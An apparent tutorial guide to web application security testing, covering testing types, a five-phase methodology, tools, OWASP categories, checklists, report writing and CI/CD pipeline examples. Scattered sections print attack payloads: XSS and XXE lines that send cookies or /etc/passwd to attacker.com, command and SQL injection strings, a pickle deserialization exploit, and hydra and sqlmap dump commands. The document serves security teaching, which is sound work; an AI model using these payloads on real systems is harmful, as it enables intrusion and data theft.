Web Application Security Testing: Complete Guide for 2026
Web application security testing has become a critical component of modern software development as cyber threats continue to evolve. With over 60% of data breaches originating from web applications, organizations can no longer afford to treat security as an afterthought. This comprehensive guide covers everything you need to know about web application security testing in 2026, from foundational concepts to advanced techniques.
Table of Contents
- What is Web Application Security Testing?
- Why Web Application Security Testing Matters
- Types of Web Application Security Testing
- Web Application Security Testing Methodology
- Step-by-Step Testing Process
- OWASP Testing Categories
- Essential Security Testing Tools
- Common Vulnerabilities to Test For
- Test Cases and Checklists
- Reporting Security Findings
- Automation and CI/CD Integration
- DAST vs SAST vs IAST Comparison
- FAQ
What is Web Application Security Testing?
Web application security testing is a systematic process of evaluating web applications to identify security vulnerabilities, misconfigurations, and weaknesses that could be exploited by malicious actors. It involves examining an application's architecture, code, configuration, and runtime behavior to ensure it protects sensitive data and maintains integrity under attack.
Unlike traditional penetration testing that may focus on infrastructure, web application security testing specifically targets:
- Client-side components (HTML, JavaScript, CSS)
- Server-side logic (APIs, authentication, session management)
- Database interactions (SQL queries, NoSQL operations)
- Business logic (workflows, authorization rules)
- Third-party integrations (APIs, libraries, frameworks)
The goal is to discover vulnerabilities before attackers do, allowing development teams to remediate issues in a controlled manner. As outlined in our comprehensive penetration testing methodology guide, security testing should be an integral part of the software development lifecycle (SDLC).
Key Objectives of Web Application Security Testing
- Identify vulnerabilities before deployment to production
- Verify security controls are properly implemented
- Assess compliance with security standards (PCI DSS, GDPR, HIPAA)
- Validate patch effectiveness after security updates
- Reduce attack surface by discovering exposed endpoints
- Test incident response capabilities under simulated attacks
Why Web Application Security Testing Matters
The importance of web application security testing cannot be overstated in today's threat landscape:
Statistics That Demand Attention
- 75% of cyber attacks target web applications (Verizon DBIR 2025)
- $4.45M average cost of a data breach in 2025 (IBM Security)
- 43% of breaches involve web application vulnerabilities (Ponemon Institute)
- 279 days average time to identify and contain a breach
Real-World Impact
Financial Losses: Web application breaches result in direct financial losses through theft, regulatory fines, legal fees, and remediation costs. The average cost per compromised record has risen to $165 in 2025.
Reputation Damage: A single security incident can erode years of customer trust. 65% of breach victims lose confidence in an organization's ability to protect their data.
Regulatory Compliance: Regulations like GDPR, CCPA, and PCI DSS mandate security testing. Non-compliance can result in fines up to 4% of annual global revenue.
Operational Disruption: Successful attacks can take systems offline, disrupting business operations and causing revenue loss. Ransomware attacks on web applications increased 105% in 2025.
The Shift-Left Security Movement
Modern development practices emphasize "shifting left"—integrating security testing early in the SDLC rather than treating it as a pre-deployment gate. This approach:
- Reduces remediation costs by 6-15x when bugs are caught early
- Accelerates time-to-market by preventing security bottlenecks
- Improves developer security awareness through continuous feedback
- Enables DevSecOps culture where security is everyone's responsibility
Types of Web Application Security Testing
Web application security testing encompasses three primary methodologies, each with distinct advantages and use cases:
1. Dynamic Application Security Testing (DAST)
DAST tools test running applications from the outside, simulating how an attacker would interact with the application without access to source code.
How it works:
- Sends malicious payloads to application endpoints
- Analyzes responses to identify vulnerabilities
- Tests authentication, session management, and input validation
- Operates as a "black box" with no internal knowledge
Advantages:
- Language and framework agnostic
- Finds runtime configuration issues
- Tests the complete application stack
- Identifies environment-specific vulnerabilities
Limitations:
- Cannot identify root cause in code
- May miss vulnerabilities in unlinked pages
- Requires a running application instance
- Can produce false positives
Best for: Runtime vulnerabilities, authentication flaws, server misconfigurations, integration testing
Popular DAST Tools: Burp Suite Pro, OWASP ZAP, Acunetix, Netsparker
2. Static Application Security Testing (SAST)
SAST tools analyze source code, bytecode, or binaries to identify security vulnerabilities without executing the application.
How it works:
- Scans source code repositories
- Identifies insecure coding patterns
- Traces data flow to find injection points
- Provides line-by-line vulnerability locations
Advantages:
- Pinpoints exact vulnerability location in code
- Integrates into IDE and CI/CD pipelines
- Tests without running the application
- Provides early feedback to developers
Limitations:
- High false positive rates
- Language-specific (requires different tools per language)
- Cannot detect runtime or configuration issues
- May miss business logic flaws
Best for: Code review, early SDLC integration, identifying coding errors, developer training
Popular SAST Tools: SonarQube, Checkmarx, Veracode, Fortify, Semgrep
3. Interactive Application Security Testing (IAST)
IAST combines elements of DAST and SAST by instrumenting the application with agents that monitor behavior during testing.
How it works:
- Deploys agents within the application runtime
- Monitors application behavior during functional testing
- Correlates code execution with security vulnerabilities
- Provides detailed attack paths and data flow
Advantages:
- Low false positive rates
- Identifies root cause with code location
- Works during QA and functional testing
- Real-time vulnerability detection
Limitations:
- Requires application instrumentation
- Performance overhead during testing
- May not cover all code paths
- Limited language support
Best for: QA integration, accurate vulnerability validation, DevSecOps workflows
Popular IAST Tools: Contrast Security, Seeker, Hdiv Detection
4. Manual Penetration Testing
While automated tools are essential, manual penetration testing by experienced security professionals remains critical for:
- Complex business logic vulnerabilities
- Chain attack scenarios
- Creative exploitation techniques
- Validation of automated findings
- Zero-day vulnerability research
As covered in our complete penetration testing guide, manual testing uncovers vulnerabilities that automated tools frequently miss.
Web Application Security Testing Methodology
A structured methodology ensures comprehensive coverage and reproducible results. The industry-standard approach follows five phases:
Phase 1: Reconnaissance (Information Gathering)
Objective: Collect as much information about the target application as possible.
Activities:
- Domain and subdomain enumeration
- Technology stack identification (Wappalyzer, BuiltWith)
- DNS reconnaissance and zone transfers
- Search engine discovery (Google dorking)
- Social media and dark web intelligence
- Employee enumeration (LinkedIn, company sites)
- Review public documentation and APIs
Tools: Nmap, theHarvester, Amass, Sublist3r, Shodan, Censys
Output: Asset inventory, technology profile, potential entry points
Phase 2: Application Mapping
Objective: Understand the application's structure, functionality, and attack surface.
Activities:
- Spider/crawl the application
- Identify all endpoints, parameters, and forms
- Map authentication and authorization mechanisms
- Discover hidden directories and files (ffuf, dirbuster)
- Analyze client-side code (JavaScript, API calls)
- Identify entry points for user input
- Document application workflow and business logic
Tools: Burp Suite Spider, OWASP ZAP Spider, ffuf, gobuster, Feroxbuster
Output: Complete site map, parameter list, functionality matrix
Phase 3: Vulnerability Discovery
Objective: Identify potential security weaknesses through automated and manual testing.
Activities:
- Run automated vulnerability scanners
- Test for OWASP Top 10 vulnerabilities
- Fuzz input parameters with malicious payloads
- Test authentication and session management
- Analyze authorization and access controls
- Review security headers and TLS configuration
- Test file upload functionality
- Examine error messages for information disclosure
Tools: Burp Suite Scanner, OWASP ZAP Active Scan, Nikto, SQLMap, XSStrike
Output: Vulnerability list with severity ratings
Phase 4: Exploitation
Objective: Validate discovered vulnerabilities and assess their real-world impact.
Activities:
- Craft proof-of-concept (PoC) exploits
- Demonstrate data exfiltration capability
- Test privilege escalation paths
- Chain multiple vulnerabilities
- Assess impact on confidentiality, integrity, availability
- Document exploitation steps with screenshots
- Maintain ethical boundaries and rules of engagement
Tools: Metasploit, SQLMap, Burp Suite Intruder, custom scripts
Output: Validated vulnerabilities with demonstrated impact
⚠️ Important: Only exploit vulnerabilities in authorized environments. Always follow the scope and rules of engagement defined in your engagement agreement.
Phase 5: Reporting
Objective: Document findings and provide actionable remediation guidance.
Activities:
- Prioritize vulnerabilities by risk (CVSS scoring)
- Document technical details and reproduction steps
- Provide remediation recommendations
- Create executive summary for stakeholders
- Generate technical report for developers
- Present findings to development and security teams
Output: Comprehensive security assessment report
Step-by-Step Testing Process
Here's a practical, step-by-step process for conducting web application security testing:
Step 1: Define Scope and Objectives
✓ Identify target URLs and IP ranges
✓ Define testing timeframe and windows
✓ Establish rules of engagement
✓ Identify out-of-scope systems
✓ Obtain written authorization
✓ Set up communication channels
Step 2: Set Up Testing Environment
1. Prepare your testing platform:
- Install Kali Linux or Parrot Security OS
- Configure Burp Suite Professional or OWASP ZAP
- Set up browser with security extensions (FoxyProxy, Wappalyzer)
- Install essential tools from our penetration testing tools guide
2. Configure your proxy:
# Start Burp Suite and configure browser proxy
# Firefox: Settings → Network Settings → Manual Proxy
# HTTP Proxy: 127.0.0.1
# Port: 8080
# Check "Use this proxy server for all protocols"
3. Import CA certificate:
- Navigate to http://burp or http://zap
- Download CA certificate
- Import into browser: Settings → Certificates → Import
Step 3: Perform Reconnaissance
Subdomain enumeration:
# Using Sublist3r
sublist3r -d target.com -o subdomains.txt
# Using Amass
amass enum -d target.com -o amass-output.txt
# DNS brute forcing
ffuf -w /usr/share/wordlists/dns/subdomains.txt \
-u https://FUZZ.target.com \
-mc 200,301,302
Technology fingerprinting:
# Using Nmap for service detection
nmap -sV -p 80,443 target.com
# Using WhatWeb
whatweb target.com
# Manual inspection
curl -I https://target.com | grep -i "server\|x-powered"
Step 4: Map the Application
Directory discovery:
# Using ffuf
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-u https://target.com/FUZZ \
-mc 200,301,302,401,403
# Using gobuster
gobuster dir -u https://target.com \
-w /usr/share/wordlists/dirb/common.txt \
-x php,html,js,txt
Spider with Burp Suite:
- Navigate to Target → Site map
- Right-click target → Spider this host
- Configure spider options (forms, depth)
- Review discovered content
Step 5: Test for Common Vulnerabilities
Test for SQL Injection:
# Manual testing
' OR '1'='1
' OR '1'='1' --
' OR '1'='1' #
' UNION SELECT NULL--
# Using SQLMap
sqlmap -u "https://target.com/page?id=1" \
--batch --random-agent --level=5 --risk=3
Learn more in our detailed SQL Injection guide.
Test for Cross-Site Scripting (XSS):
// Basic XSS payloads
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
// DOM-based XSS
#<script>alert(document.cookie)</script>
// Stored XSS in profile/comments
<script>fetch('https://attacker.com/?c='+document.cookie)</script>
Test for Authentication Weaknesses:
# Brute force protection test
hydra -l admin -P /usr/share/wordlists/rockyou.txt \
target.com http-post-form \
"/login:username=^USER^&password=^PASS^:F=incorrect"
# Session token analysis in Burp Suite
# 1. Capture login request
# 2. Send to Sequencer
# 3. Analyze token randomness
Test for Broken Access Control:
# Horizontal privilege escalation
# Try accessing other users' resources
GET /api/user/123/profile
GET /api/user/124/profile # Try different user ID
# Vertical privilege escalation
GET /admin/panel # With regular user session
# IDOR (Insecure Direct Object Reference)
GET /download?file=invoice_1001.pdf
GET /download?file=invoice_1002.pdf # Try other IDs
Step 6: Test Business Logic
Common business logic vulnerabilities:
- Price manipulation in shopping carts
- Negative quantity purchases
- Bypass payment flows
- Race conditions in concurrent requests
- Workflow bypass (skip verification steps)
- Coupon/voucher abuse
Example test:
// Price manipulation
POST /checkout
{
"item_id": 123,
"quantity": 1,
"price": 0.01 // Manipulated price
}
// Race condition test using Turbo Intruder
POST /transfer
{
"from": "user1",
"to": "user2",
"amount": 1000
}
// Send 100 simultaneous requests
Step 7: Test API Security
Modern web applications heavily rely on APIs. Refer to our API security testing guide for comprehensive coverage.
API testing checklist:
# Enumerate API endpoints
ffuf -w api-wordlist.txt \
-u https://api.target.com/v1/FUZZ \
-H "Authorization: Bearer TOKEN"
# Test authentication
curl -X GET https://api.target.com/admin/users
curl -X GET https://api.target.com/admin/users \
-H "Authorization: Bearer INVALID_TOKEN"
# Test authorization
# User A token accessing User B resources
curl -X GET https://api.target.com/users/B/profile \
-H "Authorization: Bearer USER_A_TOKEN"
# Test mass assignment
POST /api/users/register
{
"username": "newuser",
"password": "pass123",
"role": "admin" // Attempt privilege escalation
}
Step 8: Validate and Document Findings
For each vulnerability:
- Reproduce the issue multiple times
- Document exact steps with screenshots
- Assess impact on confidentiality, integrity, availability
- Rate severity using CVSS or internal framework
- Provide remediation guidance specific to the technology stack
OWASP Testing Categories
The OWASP Web Security Testing Guide defines 12 comprehensive testing categories that every security assessment should cover:
1. Information Gathering (WSTG-INFO)
- Conduct search engine discovery
- Fingerprint web server and application
- Review webpage content for information leakage
- Enumerate applications on web server
- Review webpage comments and metadata
- Identify application entry points
- Map execution paths through application
2. Configuration and Deployment Management (WSTG-CONF)
- Test network infrastructure configuration
- Test application platform configuration
- Test file extensions handling
- Review old backup and unreferenced files
- Enumerate infrastructure and application admin interfaces
- Test HTTP methods and XST
- Test HTTP Strict Transport Security
- Test RIA cross-domain policy
- Test file permission
- Test for subdomain takeover
- Test cloud storage
3. Identity Management (WSTG-IDNT)
- Test role definitions
- Test user registration process
- Test account provisioning process
- Test account enumeration and guessable user accounts
- Test weak or unenforced username policy
4. Authentication (WSTG-ATHN)
- Test credentials transported over encrypted channel
- Test default credentials
- Test weak lock-out mechanism
- Test bypassing authentication schema
- Test vulnerable remember password
- Test browser cache weaknesses
- Test weak password policy
- Test weak security question/answer
- Test weak password change/reset functions
- Test weaker authentication in alternative channel
5. Authorization (WSTG-ATHZ)
- Test directory traversal file include
- Test bypassing authorization schema
- Test privilege escalation
- Test insecure direct object references
- Test missing function-level access control
6. Session Management (WSTG-SESS)
- Test session management schema
- Test cookie attributes
- Test session fixation
- Test exposed session variables
- Test Cross-Site Request Forgery (CSRF)
- Test logout functionality
- Test session timeout
- Test session puzzling
- Test session hijacking
7. Input Validation (WSTG-INPV)
- Test reflected Cross-Site Scripting
- Test stored Cross-Site Scripting
- Test HTTP verb tampering
- Test HTTP parameter pollution
- Test SQL Injection
- Test LDAP Injection
- Test XML Injection
- Test SSI Injection
- Test XPath Injection
- Test IMAP/SMTP Injection
- Test code injection
- Test command injection
- Test format string injection
- Test incubated vulnerability
- Test HTTP splitting/smuggling
- Test HTTP incoming requests
- Test host header injection
- Test server-side template injection
- Test server-side request forgery
8. Error Handling (WSTG-ERRH)
- Test improper error handling
- Test stack traces
9. Cryptography (WSTG-CRYP)
- Test weak transport layer security
- Test padding oracle
- Test sensitive information sent via unencrypted channels
- Test weak encryption
10. Business Logic (WSTG-BUSL)
- Test business logic data validation
- Test ability to forge requests
- Test integrity checks
- Test for process timing
- Test number of times a function can be used
- Test circumvention of workflows
- Test defenses against application misuse
- Test upload of unexpected file types
- Test upload of malicious files
11. Client-Side (WSTG-CLNT)
- Test DOM-based Cross-Site Scripting
- Test JavaScript execution
- Test HTML injection
- Test client-side URL redirect
- Test CSS injection
- Test client resource manipulation
- Test cross-origin resource sharing
- Test cross-site flashing
- Test clickjacking
- Test WebSockets
- Test web messaging
- Test browser storage
- Test cross-site script inclusion
12. API Testing (WSTG-APIT)
- Test GraphQL
- Test REST API
- Test SOAP API
For a detailed breakdown of the most critical vulnerabilities, see our OWASP Top 10 2025 guide.
Essential Security Testing Tools
A comprehensive toolkit is essential for effective web application security testing. Here are the must-have tools for 2026:
1. Burp Suite Professional
Purpose: Comprehensive web vulnerability scanner and proxy
Key Features:
- Intercepting proxy for request/response modification
- Automated vulnerability scanner
- Intruder for fuzzing and brute force attacks
- Repeater for manual request manipulation
- Sequencer for session token analysis
- Extensions marketplace (400+ plugins)
Price: $449/year per user
Best for: Professional penetration testers, comprehensive testing
Learn more: PortSwigger Web Security Academy
2. OWASP ZAP (Zed Attack Proxy)
Purpose: Free open-source web application security scanner
Key Features:
- Intercepting proxy
- Automated and manual testing modes
- Spider and AJAX spider
- Active and passive scanning
- Fuzzer and forced browse
- API for automation and CI/CD integration
Price: Free and open source
Best for: Budget-conscious teams, CI/CD integration, learning
3. Nmap
Purpose: Network discovery and security auditing
Key Features:
- Port scanning and service detection
- OS fingerprinting
- Vulnerability detection with NSE scripts
- Network topology mapping
Common commands:
# Service version detection
nmap -sV target.com
# Vulnerability scan
nmap --script vuln target.com
# Comprehensive scan
nmap -A -T4 target.com
Price: Free and open source
Learn more: Nmap Cheat Sheet
4. SQLMap
Purpose: Automated SQL injection detection and exploitation
Key Features:
- Support for MySQL, Oracle, PostgreSQL, MSSQL, SQLite, and more
- Automatic DB enumeration
- Database fingerprinting
- File system access
- Out-of-band connections
Example usage:
# Basic scan
sqlmap -u "http://target.com/page?id=1"
# With authentication
sqlmap -u "http://target.com/page?id=1" \
--cookie="PHPSESSID=abc123"
# Dump database
sqlmap -u "http://target.com/page?id=1" \
--dbs --dump
Price: Free and open source
5. Nikto
Purpose: Web server vulnerability scanner
Key Features:
- Checks for 6700+ potentially dangerous files
- Outdated server versions
- Server misconfigurations
- Default files and programs
Example usage:
# Basic scan
nikto -h target.com
# SSL scan
nikto -h target.com -ssl
# Save output
nikto -h target.com -o report.html -Format html
Price: Free and open source
6. ffuf (Fuzz Faster U Fool)
Purpose: Fast web fuzzer for directory/file discovery
Key Features:
- High-performance concurrent fuzzing
- Flexible matching and filtering
- Recursive fuzzing
- Parameter fuzzing
Example usage:
# Directory fuzzing
ffuf -w wordlist.txt -u https://target.com/FUZZ
# Parameter fuzzing
ffuf -w params.txt -u https://target.com/page?FUZZ=value
# POST data fuzzing
ffuf -w payloads.txt -X POST \
-d "username=admin&password=FUZZ" \
-u https://target.com/login
Price: Free and open source
7. Metasploit Framework
Purpose: Penetration testing and exploit development platform
Key Features:
- 2300+ exploits and payloads
- Post-exploitation modules
- Auxiliary modules for scanning
- Integration with other tools
Price: Free (Community Edition) / Commercial editions available
Additional Essential Tools
| Tool | Purpose | Free/Paid |
|---|---|---|
| Gobuster | Directory/DNS brute forcing | Free |
| Wfuzz | Web application fuzzer | Free |
| Commix | Command injection exploitation | Free |
| XSStrike | Advanced XSS detection | Free |
| Arjun | HTTP parameter discovery | Free |
| nuclei | Template-based vulnerability scanning | Free |
| Acunetix | Automated web vulnerability scanner | Paid |
| Netsparker | Automated security testing | Paid |
| Checkmarx | SAST solution | Paid |
| Veracode | Application security platform | Paid |
For a comprehensive list, check our Ultimate Penetration Testing Tools Guide.
Common Vulnerabilities to Test For
Every web application security test should cover these critical vulnerability classes:
1. Injection Flaws
SQL Injection
- First-order SQL injection
- Second-order SQL injection
- Blind SQL injection (boolean-based, time-based)
- Out-of-band SQL injection
- UNION-based SQL injection
Command Injection
# Test payloads
; ls -la
| whoami
& cat /etc/passwd
`id`
$(uname -a)
LDAP Injection
# Authentication bypass
*)(uid=*
admin*)(&(uid=*
XML Injection / XXE
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<foo>&xxe;</foo>
2. Broken Authentication
- Weak password policies
- Credential stuffing vulnerabilities
- Session fixation
- Missing session expiration
- Insecure password recovery
- Username enumeration
- Lack of MFA
- Weak session token generation
3. Sensitive Data Exposure
- Unencrypted data transmission
- Weak encryption algorithms (DES, MD5)
- Hardcoded credentials in code
- Sensitive data in URLs
- Information in error messages
- Exposed backup files (.bak, .old, .zip)
- Git repositories exposed (/.git/)
4. XML External Entities (XXE)
<!-- XXE with parameter entity -->
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd"> %xxe;]>
<!-- evil.dtd content -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?x=%file;'>">
%eval;
%exfiltrate;
5. Broken Access Control
- Missing function-level access control
- Insecure Direct Object References (IDOR)
- Forced browsing to admin pages
- Horizontal privilege escalation
- Vertical privilege escalation
- Missing authorization checks on API endpoints
6. Security Misconfiguration
- Default credentials
- Directory listing enabled
- Verbose error messages
- Unnecessary services running
- Outdated software versions
- Missing security headers
- Open cloud storage buckets
- CORS misconfiguration
Security Headers Checklist:
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Content-Security-Policy: default-src 'self'
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=(), camera=()
7. Cross-Site Scripting (XSS)
Reflected XSS:
https://target.com/search?q=<script>alert(1)</script>
Stored XSS:
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
DOM-based XSS:
// Vulnerable code
document.write(location.hash.substring(1));
// Exploit
https://target.com/#<img src=x onerror=alert(1)>
8. Insecure Deserialization
# Python pickle exploitation
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ('whoami',))
pickle.dumps(Exploit())
9. Using Components with Known Vulnerabilities
- Outdated JavaScript libraries (jQuery, Angular, React)
- Vulnerable WordPress plugins
- Unpatched frameworks (Struts, Spring)
- Old web servers (Apache, IIS, Nginx)
- Dependency vulnerabilities
Detection:
# JavaScript vulnerability scanning
retire --js --path /path/to/web/root
# Python dependency checking
safety check
# Node.js dependency audit
npm audit
yarn audit
10. Insufficient Logging and Monitoring
- No audit trails for critical actions
- Logs not monitored or analyzed
- Insufficient incident response procedures
- Missing alerting for suspicious activities
For detailed coverage of these vulnerabilities, see our OWASP Top 10 2025 Complete Guide.
Test Cases and Checklists
Here's a practical checklist for comprehensive web application security testing:
Authentication Testing Checklist
□ Test for default credentials (admin/admin, root/root)
□ Test for weak password policy (minimum length, complexity)
□ Test account lockout mechanism (brute force protection)
□ Test password reset functionality for token predictability
□ Test for username enumeration via error messages
□ Test remember me functionality for token security
□ Test for authentication bypass via parameter tampering
□ Test multi-factor authentication bypass
□ Test for credential transit over unencrypted channel
□ Test for session fixation vulnerabilities
□ Test logout functionality and session invalidation
□ Test concurrent user sessions
□ Test password change without current password verification
Session Management Testing Checklist
□ Analyze session token entropy and randomness
□ Test for session token in URL (should be in cookie)
□ Test cookie attributes (Secure, HttpOnly, SameSite)
□ Test session timeout values
□ Test session invalidation on logout
□ Test for session fixation
□ Test for Cross-Site Request Forgery (CSRF)
□ Test session token renewal after privilege change
□ Test concurrent session handling
□ Test session token exposed in logs or referrer
Authorization Testing Checklist
□ Test horizontal privilege escalation (User A → User B)
□ Test vertical privilege escalation (User → Admin)
□ Test forced browsing to restricted pages
□ Test IDOR on all object references (IDs, filenames)
□ Test missing function-level access control
□ Test parameter tampering (user_id, role, price)
□ Test directory traversal (../../../etc/passwd)
□ Test file inclusion vulnerabilities (LFI/RFI)
□ Test API endpoints without authentication
□ Test GraphQL introspection and unauthorized queries
Input Validation Testing Checklist
□ Test all input fields for XSS
□ Test all parameters for SQL injection
□ Test file upload for malicious file types
□ Test file upload size limits
□ Test command injection in system calls
□ Test XML input for XXE vulnerabilities
□ Test JSON input for injection
□ Test LDAP injection in search filters
□ Test template injection in rendering engines
□ Test HTTP header injection
□ Test CRLF injection
□ Test server-side request forgery (SSRF)
□ Test HTML injection
□ Test HTTP parameter pollution
Business Logic Testing Checklist
□ Test negative values in quantity/price fields
□ Test race conditions in financial transactions
□ Test workflow bypass (skip payment, verification)
□ Test excessive resource consumption (DoS via features)
□ Test referral/coupon code abuse
□ Test improper state transitions
□ Test time-of-check to time-of-use (TOCTOU)
□ Test for logic flaws in multi-step processes
□ Test application misuse scenarios
□ Test for data integrity issues
API Security Testing Checklist
□ Test API authentication mechanisms
□ Test API rate limiting
□ Test API authorization on all endpoints
□ Test API versioning for deprecated endpoints
□ Test API for mass assignment vulnerabilities
□ Test API input validation
□ Test API error messages for information disclosure
□ Test API for excessive data exposure
□ Test REST API method tampering (GET → POST)
□ Test GraphQL depth and complexity limits
□ Test API for CORS misconfiguration
□ Test API documentation exposure
For comprehensive API testing methodology, refer to our API Security Testing Guide.
Reporting Security Findings
A well-structured security report is crucial for ensuring vulnerabilities get fixed. Here's how to create effective reports:
Report Structure
1. Executive Summary
- High-level overview of testing scope
- Key findings summary
- Risk summary (Critical/High/Medium/Low counts)
- Overall security posture assessment
- Recommended priority actions
2. Methodology
- Testing approach and standards followed (OWASP, PTES)
- Tools used
- Testing timeline
- Limitations and constraints
3. Vulnerability Details
For each vulnerability, include:
A. Title
SQL Injection in User Search Functionality
B. Severity Rating
Critical (CVSS 9.8)
C. Affected Components
Endpoint: https://app.example.com/api/users/search
Parameter: query
Method: POST
D. Description
The user search endpoint is vulnerable to SQL injection through the
'query' parameter. Malicious users can inject SQL commands to extract,
modify, or delete sensitive data from the database.
E. Steps to Reproduce
1. Navigate to https://app.example.com/search
2. Enter the following payload in the search field:
' OR '1'='1' --
3. Submit the search form
4. Observe that all users are returned, bypassing intended filtering
Proof-of-Concept Request:
POST /api/users/search HTTP/1.1
Host: app.example.com
Content-Type: application/json
{"query": "' OR '1'='1' --"}
F. Impact
An attacker can:
- Extract entire database contents including passwords and PII
- Modify or delete data
- Execute administrative operations
- Potentially gain operating system access via xp_cmdshell (MSSQL)
Estimated business impact:
- Data breach affecting 10,000+ user accounts
- GDPR violations and potential fines
- Reputation damage
G. Remediation
Immediate Actions:
1. Disable the vulnerable endpoint until fixed
2. Review logs for exploitation attempts
3. Reset credentials for affected accounts
Long-term Fix:
1. Use parameterized queries (prepared statements)
2. Implement input validation with whitelist approach
3. Apply principle of least privilege to database accounts
4. Enable web application firewall (WAF) rules
Code Example (Python/SQLAlchemy):
# Vulnerable code
query = f"SELECT * FROM users WHERE name = '{user_input}'"
results = db.execute(query)
# Secure code
query = "SELECT * FROM users WHERE name = :name"
results = db.execute(query, {"name": user_input})
H. References
- OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
- CWE-89: https://cwe.mitre.org/data/definitions/89.html
- [SQL Injection Complete Guide](/articles/what-is-sql-injection-complete-beginner-s-guide-2026)
I. Evidence
- Screenshots showing exploitation
- Burp Suite request/response
- SQLMap output
- Video demonstration (for complex exploits)
CVSS Scoring
Use CVSS 3.1 to provide consistent severity ratings:
| Score Range | Severity |
|---|---|
| 0.0 | None |
| 0.1 - 3.9 | Low |
| 4.0 - 6.9 | Medium |
| 7.0 - 8.9 | High |
| 9.0 - 10.0 | Critical |
CVSS Calculator: https://www.first.org/cvss/calculator/3.1
Report Formats
Technical Report: Detailed for development teams
- Complete reproduction steps
- Code-level recommendations
- Tool output and raw data
Executive Report: High-level for management
- Business impact focus
- Risk prioritization
- Budget and timeline recommendations
Remediation Tracker: For tracking fixes
- Vulnerability ID
- Assigned developer
- Target fix date
- Verification status
Automation and CI/CD Integration
Integrating security testing into CI/CD pipelines enables continuous security validation:
Benefits of CI/CD Security Integration
- Early detection: Find vulnerabilities before production
- Cost reduction: Fix bugs in development, not production
- Faster remediation: Immediate feedback to developers
- Compliance: Continuous compliance verification
- Risk reduction: Prevent vulnerable code from being deployed
CI/CD Integration Architecture
┌─────────────┐
│ Code Commit │
└──────┬──────┘
│
▼
┌─────────────────┐
│ Build & Test │
└────────┬────────┘
│
▼
┌────────────────────────┐
│ SAST Scan (SonarQube) │
└──────────┬─────────────┘
│
▼ Pass
┌──────────────────────────┐
│ Container Scan (Trivy) │
└────────────┬─────────────┘
│
▼ Pass
┌────────────────────────────┐
│ Deploy to Staging │
└──────────┬─────────────────┘
│
▼
┌──────────────────────────┐
│ DAST Scan (OWASP ZAP) │
└────────┬─────────────────┘
│
▼ Pass
┌────────────────────┐
│ Deploy to Prod │
└────────────────────┘
GitHub Actions Example
name: Security Scan Pipeline
on:
push:
branches: [ main, develop ]
pull_request:
branches: [ main ]
jobs:
sast-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Run Semgrep SAST
run: |
pip3 install semgrep
semgrep --config=auto --json -o semgrep-report.json
- name: Upload SAST Results
uses: actions/upload-artifact@v3
with:
name: semgrep-report
path: semgrep-report.json
dependency-scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Run npm audit
run: npm audit --json > npm-audit.json
continue-on-error: true
- name: Run Snyk
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
dast-scan:
runs-on: ubuntu-latest
needs: [sast-scan, dependency-scan]
steps:
- name: ZAP Baseline Scan
uses: zaproxy/action-baseline@v0.7.0
with:
target: 'https://staging.example.com'
rules_file_name: '.zap/rules.tsv'
cmd_options: '-a'
- name: Upload DAST Results
uses: actions/upload-artifact@v3
with:
name: zap-report
path: report_html.html
security-gate:
runs-on: ubuntu-latest
needs: [sast-scan, dependency-scan, dast-scan]
steps:
- name: Evaluate Security Posture
run: |
# Fail if critical vulnerabilities found
CRITICAL_COUNT=$(jq '.results[] | select(.severity=="CRITICAL") | length' semgrep-report.json)
if [ $CRITICAL_COUNT -gt 0 ]; then
echo "❌ Critical vulnerabilities found: $CRITICAL_COUNT"
exit 1
fi
echo "✅ Security gate passed"
Jenkins Pipeline Example
pipeline {
agent any
stages {
stage('Build') {
steps {
sh 'npm install'
sh 'npm run build'
}
}
stage('SAST Scan') {
steps {
script {
sh 'semgrep --config=auto --json -o semgrep.json'
def report = readJSON file: 'semgrep.json'
def critical = report.results.findAll { it.severity == 'CRITICAL' }.size()
if (critical > 0) {
error "Found ${critical} critical vulnerabilities"
}
}
}
}
stage('Deploy to Staging') {
steps {
sh './deploy-staging.sh'
}
}
stage('DAST Scan') {
steps {
sh '''
docker run -t owasp/zap2docker-stable zap-baseline.py \
-t https://staging.example.com \
-r zap-report.html
'''
}
}
stage('Security Approval') {
when {
expression { currentBuild.result == 'UNSTABLE' }
}
steps {
input message: 'Security vulnerabilities found. Approve deployment?'
}
}
stage('Deploy to Production') {
steps {
sh './deploy-production.sh'
}
}
}
post {
always {
publishHTML([
reportDir: '.',
reportFiles: 'zap-report.html',
reportName: 'ZAP Security Report'
])
}
}
}
GitLab CI Example
stages:
- build
- test
- security
- deploy
sast:
stage: security
image: returntocorp/semgrep
script:
- semgrep --config=auto --json -o gl-sast-report.json
artifacts:
reports:
sast: gl-sast-report.json
dependency_scanning:
stage: security
image: node:16
script:
- npm audit --json > gl-dependency-scanning-report.json
artifacts:
reports:
dependency_scanning: gl-dependency-scanning-report.json
container_scanning:
stage: security
image: aquasec/trivy
script:
- trivy image --format json -o gl-container-scanning-report.json $CI_REGISTRY_IMAGE:$CI_COMMIT_SHA
artifacts:
reports:
container_scanning: gl-container-scanning-report.json
dast:
stage: security
image: owasp/zap2docker-stable
script:
- zap-baseline.py -t https://staging.example.com -J gl-dast-report.json
artifacts:
reports:
dast: gl-dast-report.json
only:
- main
Best Practices for CI/CD Security Integration
- Fail fast: Fail builds on critical vulnerabilities
- Don't block everything: Use severity thresholds to avoid alert fatigue
- Provide context: Include remediation guidance in CI output
- Track metrics: Monitor vulnerability trends over time
- Enable developer feedback: Integrate findings into IDEs and pull requests
